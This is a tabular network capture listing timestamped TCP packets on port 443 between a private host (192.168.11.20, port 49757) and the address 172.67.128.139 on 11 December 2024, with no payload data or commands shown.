Dec 11, 2024 12:44:37.061745882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.061745882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.061841965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.061853886 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.061887980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.062026978 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.063304901 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.063317060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.063527107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.063528061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.063543081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.063605070 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.063704014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.064536095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.064548969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.064706087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.064706087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.064811945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.064821959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.065006018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.066099882 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.066112041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.066270113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.066270113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.066421986 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.066433907 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.066591024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.066848993 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.066860914 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.067023993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.067023993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.067044020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.067050934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.067125082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.067142010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.067217112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.068787098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.068799019 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.068958044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.068958044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069020033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069025993 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.069032907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069032907 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069164991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069725990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.069737911 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.069869041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069894075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069894075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.069905996 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.070017099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.070036888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.071194887 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.071207047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.071352005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.071352005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.071387053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.071396112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.071433067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.071532965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.071532965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.072237015 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.072248936 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.072462082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.072462082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.072472095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.072563887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.072628975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.073751926 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.073764086 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.073883057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.073883057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.073955059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.073961973 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.074023962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074079990 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074161053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074697018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.074708939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.074856043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074856043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074934006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074934006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.074944973 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.075009108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.075103998 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.076390028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.076400042 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.076575994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.076575994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.076623917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.076630116 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.076693058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.076759100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.077418089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.077428102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.077564001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.077564001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.077686071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.077686071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.077694893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.077708006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.077888012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079150915 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.079163074 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.079314947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079371929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079371929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079380035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.079391003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079466105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079566956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.079912901 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.079925060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.080075026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.080075026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.080120087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.080128908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.080220938 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.080281973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.081669092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.081681967 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.081816912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.081891060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.081891060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.081898928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.081949949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.081949949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.082036972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.082727909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.082741022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.082870007 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.082870007 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.083009005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.083018064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.083158016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.083833933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.083844900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.083998919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.084049940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.084049940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.084050894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.084059000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.084101915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.084194899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.085535049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.085545063 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.085690975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.085690975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.085741043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.085741043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.085752010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.085784912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.085922956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.086761951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.086772919 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.086913109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.086957932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.086957932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.086967945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.087008953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.087058067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.087107897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.088110924 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.088120937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.088248968 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.088248968 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.088345051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.088345051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.088355064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.088392973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.088490963 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.089657068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.089667082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.089823008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.089823008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.089869976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.089876890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.089890957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.089941025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.090040922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.090557098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.090567112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.090683937 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.090717077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.090717077 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.090764999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.090770960 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.090837002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.090837002 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.092356920 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.092369080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.092487097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.092498064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.092593908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.092593908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.092650890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.093358994 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.093369007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.093549967 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.093549967 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.093600035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.093609095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.093678951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.094803095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.094815016 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.094944954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.094954014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.095005989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095005989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095052958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095052958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095101118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095799923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.095808983 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.095935106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095935106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.095982075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.096031904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.096041918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.096128941 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.097518921 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.097531080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.097690105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.097690105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.097700119 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.097712994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.097816944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.098548889 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.098558903 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.098699093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.098699093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.098768950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.098778009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.098788023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.098788023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.098862886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.099730968 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.099744081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.099912882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.099912882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.099922895 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.100014925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.100014925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.101527929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.101540089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.101692915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.101692915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.101703882 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.101711988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.101821899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.102897882 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.102909088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.103029966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.103030920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.103127003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.103127003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.103138924 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.103176117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.103176117 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.103955030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.103967905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.104085922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.104094982 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.104132891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.104177952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.104177952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.104227066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.104227066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.105021000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.105031013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.105154991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.105154991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.105216026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.105216026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.105226040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.105256081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.105300903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.106475115 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.106487036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.106607914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.106620073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.106652975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.106652975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.106751919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.106751919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.107652903 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.107662916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.107801914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.107896090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.107896090 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.107908010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.107917070 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.109057903 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.109070063 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.109180927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.109180927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.109191895 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.109231949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.109303951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.109303951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.109359980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.110858917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.110868931 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.111016035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.111016035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.111156940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.111166954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.111991882 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.112011909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.112143040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.112154007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.112200022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.112200022 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.112245083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.112299919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.112299919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.112977028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.112988949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.113109112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.113168955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.113168955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.113205910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.113205910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.113215923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.113250971 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.114500999 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.114515066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.114655018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.114655018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.114667892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.114676952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.114754915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.114754915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.114811897 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.116177082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.116189003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.116303921 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.116350889 CET	49757	443	192.168.11.20	172.67.128.139
